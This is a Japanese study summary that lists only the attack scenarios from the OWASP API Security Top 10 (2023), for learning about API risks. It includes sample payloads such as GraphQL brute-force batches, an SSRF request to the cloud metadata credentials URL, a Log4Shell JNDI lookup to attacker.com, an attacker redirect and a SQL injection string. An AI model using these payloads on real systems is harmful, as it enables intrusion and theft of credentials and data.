OWASP Top 10 API Security Risks - 2023 にもシナリオの記載がありました。
本家には原因や対策も記載があります(そっちが本題)。
ただ、ここではシナリオだけ抜き出しました。
自分の API とシナリオを重ね、原因と対策を妄想し、本家で答え合わせする方向で。
API1:2023 Broken Object Level Authorization
シナリオ1
場面
- オンラインショップ用の E-コマースプラットフォーム
- 収益チャートを付けたリスティングページを各ショップに提供
攻撃者
- リスティングページへのリクエストの詳細をブラウザで検査
- 収益パターンのデータソースとなる API エンドポイントを特定
/shops/{shopName}/revenue_data.json
- 別の API エンドポイントから、ホストされている全てのショップ名のリストを入手
- URLの
{shopName}
を置き換える簡単なスクリプトを実行
結末
- 攻撃者は何千ものショップの売上データを入手
シナリオ2
場面
- 自動車メーカー
- 車両とユーザーの携帯アプリをつなぐモバイル API で車両の遠隔操作を実現
- ユーザーは遠隔操作でエンジンを始動・停止、ドアをロック・アンロック
- このフローのなかでアプリは対象車両の車両識別番号(VIN)をAPI に送信
攻撃者
- ログインしたユーザーの車両ではない VIN でも操作できることを確認
結末
- 攻撃者は自分のものではない車両を操作
シナリオ3
場面
- オンラインでドキュメントを管理するストレージサービス
- ユーザーは自分のドキュメントを閲覧、編集、保存、削除することが可能
- ユーザーがドキュメントを削除する際、対象のドキュメント ID を持つ GraphQL ミューテーション が API に送信される
POST /graphql
{
"operationName":"deleteReports",
"variables":{
"reportKeys":["<DOCUMENT_ID>"]
},
"query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {
{
deleteReports(reportKeys: $reportKeys)
}
}"
}
攻撃者
- 指定された ID のドキュメントが、それ以上の権限チェックを受けることなく削除されることを確認
結末
- 攻撃者は他のユーザのドキュメントを削除
API2:2023 Broken Authentication
シナリオ1
場面
- ユーザー資格情報を含むリクエストで認証を行う API エンドポイント
POST /graphql
{
"query":"mutation {
login (username:\"<username>\",password:\"<password>\") {
token
}
}"
}
- 認証 OK の場合、認証トークンが返され、後続のリクエストでユーザーを識別するために利用
- ログイン試行にはレート制限が適用され、1 分間に 3 回のリクエストまで許可
攻撃者
- GraphQL のバッチクエリ中のリクエストにはレート制限が適用されないことを確認
- 一つのリクエストに多量のクエリを含むことで、リクエストレートの制限を回避、ブルートフォース攻撃を高速化
POST /graphql
[
{"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"},
{"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"},
{"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"},
...
{"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"},
]
結末
- 攻撃者はブルートフォース試行によるログイン成功
シナリオ2
場面
- ユーザーのアカウントに関連付けられているメールアドレスを更新
- クライアントは以下のようなAPIリクエストを発行
PUT /account
Authorization: Bearer <token>
{ "email": "<new_email_address>" }
攻撃者
- この API が本人確認(ユーザーが現在のパスワードを提供)を必要としないことを確認
- 認証トークンを盗み、被害者のアカウントの電子メールアドレスを更新
結末
- パスワード再設定のワークフローを開始し、被害者のアカウントを乗っ取り
API3:2023 Broken Object Property Level Authorization
シナリオ1
場面
- 出会い系アプリ
- ユーザーは他のユーザーの不適切な行為を報告することができる
- このフローのなかで、ユーザーが "report "ボタンをクリックすると、以下の API コールがトリガーされる
POST /graphql
{
"operationName":"reportUser",
"variables":{
"userId": 313,
"reason":["offensive behavior"]
},
"query":"mutation reportUser($userId: ID!, $reason: String!) {
reportUser(userId: $userId, reason: $reason) {
status
message
reportedUser {
id
fullName
recentLocation
}
}
}"
}
攻撃者
- なし(or ユーザ全員)
結末
- 他のユーザの目に触れることを想定していない "fullName "や "recentLocation "などの機密性の高いプロパティが漏洩
シナリオ2
場面
- マーケットプレイス
- あるタイプのユーザ(ホスト)が自分のアパートを別のタイプのユーザ(ゲスト)に貸し出す
- このフローのなかで、ホストから
POST /api/host/approve_booking
に以下の正当なペイロードで API がコールされる
{
"approved": true,
"comment": "Check-in is after 3pm"
}
攻撃者
- ホストは内部オブジェクトのプロパティである
total_stay_price
に対するアクセス検証が存在しないことを確認 - ホストは以下の悪意のあるペイロードを追加し、正当なリクエストをリプレイ
{
"approved": true,
"comment": "Check-in is after 3pm",
"total_stay_price": "$1,000,000"
}
結末
- ゲストは想定以上の金額を請求される
シナリオ3
場面
- 短い動画が基盤のソーシャルネットワーク
- コンテンツフィルタリングで制限と検閲を実施
- 動画のアップロードがブロックされた場合でも、ユーザーは以下の API リクエストを使って動画の説明を変更できる
PUT /api/video/update_video
{
"description": "a funny video about cats"
}
攻撃者
- ブロックにイラついたユーザーが、内部オブジェクトのプロパティ
blocked
へのアクセス検証がないことを確認 - 以下の悪意のあるペイロードを追加し、正当なリクエストをリプレイ
{
"description": "a funny video about cats",
"blocked": false
}
結末
- 攻撃者は
blocked
プロパティの値をtrue
からfalse
に変更し、ブロックされたコンテンツのロックを解除
API4:2023 Unrestricted Resource Consumption
シナリオ1
場面
- ソーシャルネットワーク
- SMS 認証を使用した "パスワードを忘れた" フローを実装
- パスワードをリセットするため、ユーザーは SMS 経由でワンタイムトークンを受け取ることが可能
- ユーザーが "パスワードを忘れた "をクリックすると、ユーザーのブラウザからバックエンド API にコールが送信される
POST /initiate_forgot_password
{
"step": 1,
"user_number": "6501113434"
}
- SMS 通知に向け、バックエンドからサードパーティの API がコールされる
POST /sms/send_reset_pass_code
Host: willyo.net
{
"phone_number": "6501113434"
}
- サードパーティのプロバイダーである Willyo は、このタイプのコールごとに 0.05 ドルを請求する
攻撃者
- 最初の API コールを何万回も送信するスクリプトを実行
- バックエンドは Willyo に何万ものテキストメッセージを送信するよう要求
結末
- 同社は数分のうちに何千ドルもの損失を被る
シナリオ2
場面
- ユーザーがプロフィール画像をアップロードすることができる GraphQL API エンドポイント
POST /graphql
{
"query": "mutation {
uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {
url
}
}"
}
- アップロードが完了すると、API はアップロードされた画像に基づいてサイズの異なる複数のサムネイルを生成(→ この画像操作は、サーバーのメモリを大量に消費)
- API は旧来のレート制限による保護を実装し、ユーザーが短時間に何度もアクセスすることを抑止
- API は大きすぎる画像の処理を避けるために、サムネイルの生成前にアップロードされた画像のサイズをチェック
攻撃者
- GraphQL の柔軟な性質を利用することで、これらのメカニズムを簡単に回避
POST /graphql
[
{"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
{"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
...
{"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
]
結末
- API は
uploadPic
操作を試行できる回数を制限していないため、この呼び出しはサーバーのメモリを使い果たし、サービス拒否攻撃が成功
シナリオ3
場面
- サービスプロバイダー
- 大きめサイズのファイルをダウンロードできる API をクライアントに提供
- ファイルはクラウドのオブジェクトストレージに保存され、それほど頻繁に変更されない
- サービスレートを向上させ、帯域幅の消費を抑えるために、キャッシュサービスを利用
攻撃者
- キャッシュサービスのキャッシュできるファイルの上限サイズが 15GB であることを確認
- ファイルの1つを更新し、そのサイズは 18GB
- すべてのクライアントは新しいバージョンのプルを開始
結末
- クラウドストレージには消費コスト警告も最大コスト許容量もなかったため、次の月間請求額は平均 13 米ドルから 8000 米ドルに増加
API5:2023 Broken Function Level Authorization
シナリオ1
場面
- 招待されたユーザーのみが参加登録できるアプリケーション
- 登録プロセス中に、モバイルアプリは
GET /api/invites/{invite_guid}
への API コールをトリガー - レスポンスはユーザーの役割や電子メールを含む JSON データ
攻撃者
- リクエストを複製、HTTP エンドポイントとメソッドを書き換え、
/api/invites/new
に POST - 管理者のみが実行可能であるべき機能への認可チェックが実装されていないことを確認
- 攻撃者はこの問題を悪用、管理者権限で新しい招待を送信
POST /api/invites/new
{
"email": "attacker@somehost.com",
"role":"admin"
}
結末
- その後、攻撃者は管理者アカウントを作成し、システムにフルアクセス
シナリオ2
場面
- API は本来管理者のみに公開されるべきエンドポイントを持つ
GET /api/admin/v1/users/all
攻撃者
- API の構造を学習済みの攻撃者は、エンドポイント URL について賢明な推測を行う
- このエンドポイントがアプリケーションの全ユーザの詳細を返し、機能への認可チェックを実装しないことを確認
結末
- 攻撃者はこのエンドポイントにアクセスすることに成功
API6:2023 Unrestricted Access to Sensitive Business Flows
シナリオ1
場面
- テクノロジー会社
- 感謝祭に新しいゲーム機を発売すると発表
- この製品は非常に需要が高く、在庫には限りがある
攻撃者
- 攻撃者は新製品を自動的に購入し、取引を完了させるコードを作成
- 発売開始日、攻撃者は分散した場所から異なる IP アドレスでコードを実行
結末
- 攻撃者は他の正当なユーザーよりも先に在庫の大部分を購入
- その後、別のプラットフォームで製品をはるかに高い価格で販売
シナリオ2
場面
- 航空会社
- キャンセル料なしで航空券を購入できるサービスをオンラインで提供
攻撃者
- 悪意あるユーザーが搭乗を希望する便の座席の 90% を予約
- フライトの数日前、すべてのチケットを一度にキャンセル
- 航空会社はチケットのディスカウント(空席を埋めるため)を余儀なくされる
結末
- 悪意あるユーザーは元の航空券よりはるかに安い金額で目的の航空券を1枚入手
シナリオ3
場面
- ライドシェアアプリ
- 紹介プログラムを提供
- ユーザーは友人を招待し、アプリに参加した友人ごとにクレジットを得る
- このクレジットは、後でライドシェアの支払いに充てることができる
攻撃者
- 登録プロセスを自動化するスクリプトを記述
- 新規ユーザーは攻撃者のウォレットにクレジットを追加
結末
- 攻撃者は後で無料乗車券を楽しんだり、過剰なクレジットを持つアカウントを売って換金
API7:2023 Server Side Request Forgery
シナリオ1
状況
- ソーシャルネットワーク
- ユーザーはプロフィール写真をアップロードすることが可能
- ユーザーは、自分のマシンから画像ファイルをアップロードするか、画像のURLを提供するかを選択できる
- 後者を選択すると、以下のAPIコールが呼び出される
POST /api/profile/upload_picture
{
"picture_url": "http://example.com/profile_pic.jpg"
}
攻撃者
- 悪意のあるURLを送信
- API エンドポイントを経由してサーバー内部のポートスキャンを実施
{
"picture_url": "localhost:8080"
}
結末
- その応答時間から、攻撃者はポートが開いているかどうかがわかる
シナリオ2
場面
- セキュリティ製品
- ネットワークの異常を検出するとイベントを生成
- チームによっては、SIEMのようなより広範で汎用的な監視システムでイベントをレビューすることを好むため、製品は Webhook を使用して他のシステムとの統合を提供
- 新しい Webhook の作成の一環で SIEM API の URL を含んだ GraphQL ミューテーションが送信される
POST /graphql
[
{
"variables": {},
"query": "mutation {
createNotificationChannel(input: {
channelName: \"ch_piney\",
notificationChannelConfig: {
customWebhookChannelConfigs: [
{
url: \"http://www.siem-system.com/create_new_event\",
send_test_req: true
}
]
}
}){
channelId
}
}"
}
]
- 作成プロセスのなかで、API バックエンドは提供された Webhook URL にテストリクエストを送信し、ユーザーにレスポンスを提示
攻撃者
- このフローを活用し、認証情報を公開するクラウド内部のメタデータサービスなど、機密性の高いリソースに対して API からアクセスさせる
POST /graphql
[
{
"variables": {},
"query": "mutation {
createNotificationChannel(input: {
channelName: \"ch_piney\",
notificationChannelConfig: {
customWebhookChannelConfigs: [
{
url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\",
send_test_req: true
}
]
}
}) {
channelId
}
}
}
]
結末
- アプリケーションはテストリクエストからの応答を表示
- 攻撃者はクラウド環境の認証情報を得る
API8:2023 Security Misconfiguration
シナリオ1
場面
- アクセスログを管理する API バックエンドサーバー
- プレースホルダーの展開と JNDI(Java Naming and Directory Interface)ルックアップをサポートする、よく使われるオープンソースのログユーティリティが稼働
- リクエストごとに新しいログエントリを次のパターンでファイルに書き込む
<method> <api_version>/<path> - <status_code>
攻撃者
- ロギングユーティリティは安全でないデフォルト設定のまま利用されていることを確認
- アウトバウンド通信に対するネットワークポリシーはユルいことを確認
- 以下のAPIリクエストを発行し、アクセスログファイルに書き込む
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
- 対応するエントリをアクセスログに書き込むため、 ロギングユーティリティは
X-Api-Version
リクエストヘッダの値を展開する一方、攻撃者のリモートコントロールされたサーバからMalicious.class
オブジェクトを引き出し、実行
結末
- API バックエンドサーバーで悪意あるファイルが実行される
シナリオ2
場面
- ソーシャルネットワーク
- ユーザーがプライベートな会話を続けることができる ”ダイレクトメッセージ" 機能を提供
- 特定の会話の新しいメッセージを取得するため、ウェブサイトは以下の API リクエストを発行(ユーザーには見えない)
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
- API レスポンスに Cache-Control HTTP レスポンスヘッダが含まれていない
攻撃者
- ファイルシステム内のブラウザキャッシュファイルを取得
結末
- プライベートな会話がウェブブラウザ経由で漏洩
API9:2023 Improper Inventory Management
シナリオ1
状況
- ソーシャルネットワーク
- 攻撃者がブルートフォースを使ってリセットパスワードトークンを推測するのをブロックするため、レート制限メカニズムを実装
- このメカニズムは API コードの一部としてではなく、クライアントと公式 API (
api.socialnetwork.owasp.org
) の中間に位置する別のコンポーネントで実装
攻撃者
- ある研究者はパスワードのリセット機構を含む同じ API を実行するベータ API ホスト(
beta.api.socialnetwork.owasp.org
) を確認 - ベータにはレート制限機構が実装されていない
結末
- 研究者は、6桁のトークンを推測する単純なブルートフォースを使用し、任意のユーザーのパスワードをリセットすることに成功
シナリオ2
場面
- ソーシャルネットワーク
- ソーシャルネットワークは外部開発者の独自アプリとそのインテグレーションを許可
- ソーシャルネットワークはユーザー情報を独自アプリと共有するため、ユーザーからの同意を求める
攻撃者
- あるコンサルティング会社は、ソーシャルネットワークと独自アプリ間のデータフローが十分に制限または監視されていないことを確認
- 独自アプリはユーザーの情報だけでなく、その友人全員の個人情報にもアクセス可能
- 悪意のあるアプリを作成
- 27万人のユーザーの同意を得る
結末
- 27万人のユーザ起点に5千万人のユーザーの個人情報にアクセスすることに成功
- その後、コンサルティング会社は悪意のある目的のためにその情報を販売
API10:2023 Unsafe Consumption of APIs
シナリオ1
場面
- ユーザーから提供されたビジネスアドレスを充実させるため、サードパーティのサービスに依存している API
- エンドユーザーは API にアドレスを提供
- そのアドレスはサードパーティのサービスに転送
- 返されたデータはローカルの SQL データベースに保存
攻撃者
- 攻撃者はサードパーティサービスを使用し、彼らによって作成されたビジネスに関連する SQLi ペイロードを保存
- API に対して、サードパーティサービスから "悪意のあるビジネス" を引き出すようリクエスト
- 引き出された SQLi ペイロードは最終的にデータベースで実行
結末
- 攻撃者がコントロールするサーバーにデータを流出
シナリオ2
場面
- 機密性の高いユーザーの医療情報を安全に保存するため、サードパーティのサービスプロバイダと統合するための API
- 機密データは、以下のような HTTP リクエストを使用して、安全な接続を介して送信
POST /user/store_phr_record
{
"genome": "ACTAGTAG__TTGADDAAIICCTT…"
}
攻撃者
- サードパーティ API を侵害する方法を見つけ、前のようなリクエストに対して
308 Permanent Redirect
で応答させる
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
結末
- API はサードパーティのリダイレクトに盲目的に従うので、ユーザーの機密データを含む元のリクエストが攻撃者のサーバーに到着
シナリオ3
場面
- アプリケーションと git リポジトリの統合
攻撃者
-
; drop db;--
という名前の git リポジトリを用意
結末
- リポジトリの名前は安全な入力であると信じるアプリケーションで SQL インジェクションのペイロードが実行
Link
https://owasp.org/API-Security/editions/2023/en/0x11-t10/
https://github.com/OWASP/API-Security